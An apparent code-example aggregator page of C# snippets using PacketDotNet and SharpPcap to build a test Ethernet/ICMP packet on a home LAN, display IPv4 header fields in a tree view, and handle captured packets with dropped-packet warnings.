     addField("Time To Live(TTL)", p.TimeToLive.ToString(), IPv4Fields.TtlPosition,IPv4Fields.TtlLength);
 }
Exemple #25
0
        public int sendPacket()
        {
            byte[] bytes = new byte[4096];
            ByteArraySegment bas = new ByteArraySegment(bytes);
            ushort srcPort = 23444;
            ushort dstPort = 12345;

            PacketDotNet.UdpPacket udpPacket = new UdpPacket(srcPort, dstPort);
            string cmdString = "xxxxyyyyHello world!";
            byte[] sendBuffer = Encoding.ASCII.GetBytes(cmdString);
            udpPacket.PayloadData = sendBuffer;

            ICMPv4Packet icmpPacket = new ICMPv4Packet(new ByteArraySegment(sendBuffer));
            // sanity check:
            //bas.BytesLength = 10;
            //Console.WriteLine("bas - Offset = " + bas.Offset + " len= " + bas.Length);
            
            IPAddress ipSrcAddr = System.Net.IPAddress.Parse("192.168.0.186"); // laptop
            IPAddress ipDestAddr = System.Net.IPAddress.Parse("192.168.0.185"); // my linux box
            IpPacket ipPacket = new IPv4Packet(ipSrcAddr, ipDestAddr);
            ipPacket.PayloadPacket = udpPacket;

            icmpPacket.TypeCode = ICMPv4TypeCodes.Unassigned1;
            icmpPacket.Sequence = 1;

            Console.WriteLine("icmpPacket - TypeCode = " + icmpPacket.TypeCode + " Sequence= " + icmpPacket.Sequence);
            Console.WriteLine("icmpPacket : " + icmpPacket.PrintHex());
            icmpPacket.UpdateCalculatedValues();
            Console.WriteLine("icmpPacket : " + icmpPacket.PrintHex());

            //ushort etype = 0xFF00; //EthernetPacketType RAW ?
            System.Net.NetworkInformation.PhysicalAddress ethSrcAddr = System.Net.NetworkInformation.PhysicalAddress.Parse("02-1E-EC-8F-7F-E1");
            System.Net.NetworkInformation.PhysicalAddress ethDstAddr = System.Net.NetworkInformation.PhysicalAddress.Parse("48-5B-39-ED-96-36");
            EthernetPacket ethernetPacket = new EthernetPacket(ethSrcAddr, ethDstAddr, EthernetPacketType.IpV4);
            // I thought "None" for type would fill in type automatically; but it remained zero on the wire and was flagged "Malformed"
            ethernetPacket.PayloadPacket = icmpPacket;
            Console.WriteLine("ethernetPacket : " + ethernetPacket.PrintHex());
            ethernetPacket.Type = EthernetPacketType.IpV4;
            
            Console.WriteLine("ethernetPacket : " + ethernetPacket.PrintHex());

            //ipPacket.PayloadPacket = udpPacket;
            //ethernetPacket.PayloadPacket = gmpPacket; //ipPacket;
            ethernetPacket.UpdateCalculatedValues();
            Console.WriteLine(ethernetPacket.ToString());

            ipPacket.UpdateCalculatedValues();
            //udpPacket.UpdateUDPChecksum();
            // Experiment with raw ip packet?
            ipPacket.Protocol = IPProtocolType.RAW;

            // Why isn't ValidChecksum true?
            //Console.WriteLine("After updating calculated values, ValidUDPChecksum = " + udpPacket.ValidUDPChecksum + " ValidChecksum = " + udpPacket.ValidChecksum);
            //Console.WriteLine(ethernetPacket.ToString());

            device.Open(DeviceMode.Normal, 15000);  // 15 sec timeout

            //ushort checksum = csum(ipPacket.BytesHighPerformance, ipPacket.P);
            device.SendPacket(ethernetPacket);

            return 0;
        }
        public static String IPv4Analyzor(ref TreeView tree, IPv4Packet ip4)
        {
            string info = "\r\n------ IPv4 Header -------\r\n";
            TreeNode IPNode;
            
            string ipver = ip4.Version.ToString();
            string src = ip4.SourceAddress.ToString();
            string dst = ip4.DestinationAddress.ToString();
            IPNode = new TreeNode("IP version: " + ipver + ", src: " + src + ", dst: " + dst);
            string ver, len, hlen, plen, iden, df, mf, offset, ttl, pro, chk;
            
            IPNode.Nodes.Add(ver = "Version = " + ip4.Version);
            TreeNode lenNode = new TreeNode(len = "Total Length = " + ip4.TotalLength);
            lenNode.Nodes.Add(hlen = "Header Length = " + ip4.HeaderLength * 4);
            lenNode.Nodes.Add(plen = "Payload Length = " + ip4.PayloadLength);
            IPNode.Nodes.Add(iden = "Identification = " + (ip4.Header[4] * 256 + ip4.Header[5]));

            
            TreeNode flagNode = new TreeNode("Flags");
            df = "Don't fragment=";
            if (((int)ip4.Header[6] / 64) % 2 == 1)
                df += "True";
            else
                df += "False";
            flagNode.Nodes.Add(df);
            mf = "More fragment=";
            if (((int)ip4.Header[6] / 32) % 2 == 1)
                mf += "True";
            else
                mf += "False";
            flagNode.Nodes.Add(mf);

            IPNode.Nodes.Add(offset = "Fragment Offset = " + ip4.FragmentOffset.ToString());
            IPNode.Nodes.Add(ttl = "Time To Live = " + ip4.TimeToLive.ToString());
            IPNode.Nodes.Add(pro = "Protocol = " + ip4.Protocol.ToString());
            IPNode.Nodes.Add(chk = "CheckSum = " + ip4.Checksum.ToString());
            IPNode.Nodes.Add("Source IP Address = " + src);
            IPNode.Nodes.Add("Destination IP Address = " + dst);

            
            info += ver + "\r\n" + len + "\r\n" + " +" + hlen + "\r\n" + " +" + plen + "\r\n";
            info += iden + "\r\n" + "flags\r\n +" + df + " +" + mf + "\r\n" + offset + "\r\n";
            info += ttl + "\r\n" + pro + "\r\n" + chk + "\r\n";
            info += "Source IP Address = " + src + "\r\n" + "Destination IP Address = " + dst + "\r\n";

            
            tree.Nodes.Add(IPNode);
            return info;
        }
        private void device_OnPacketArrival(object sender, CaptureEventArgs e)
        {
            IPv4Packet ipPacket;
            try
            {
                if (e.Packet.LinkLayerType != LinkLayers.Null)
                {
                    var linkPacket = Packet.ParsePacket(e.Packet.LinkLayerType, e.Packet.Data);
                    ipPacket = linkPacket.PayloadPacket as IPv4Packet;
                }
                else
                {
                    ipPacket = new IPv4Packet(new ByteArraySegment(e.Packet.Data,4,e.Packet.Data.Length-4));
                }
                if (ipPacket == null)
                    return;
            }
            catch
            {
                return;
                // ignored bad packet
            }

            OnPacketReceived(ipPacket);

            var now = DateTime.UtcNow;
            if (now <= _nextCheck) return;
            _nextCheck = now + TimeSpan.FromSeconds(20);
            var device = (WinPcapDevice) sender;
            if (device.Statistics.DroppedPackets == _droppedPackets &&
                device.Statistics.InterfaceDroppedPackets == _interfaceDroppedPackets)
            {
                return;
            }
            _droppedPackets = device.Statistics.DroppedPackets;
            _interfaceDroppedPackets = device.Statistics.InterfaceDroppedPackets;
            OnWarning(
                $"DroppedPackets {device.Statistics.DroppedPackets}, InterfaceDroppedPackets {device.Statistics.InterfaceDroppedPackets}, ReceivedPackets {device.Statistics.ReceivedPackets}");
        }
Exemple #28
0
 protected void OnPacketReceived(IPv4Packet data)
 {
     var packetReceived = PacketReceived;
     packetReceived?.Invoke(data);
 }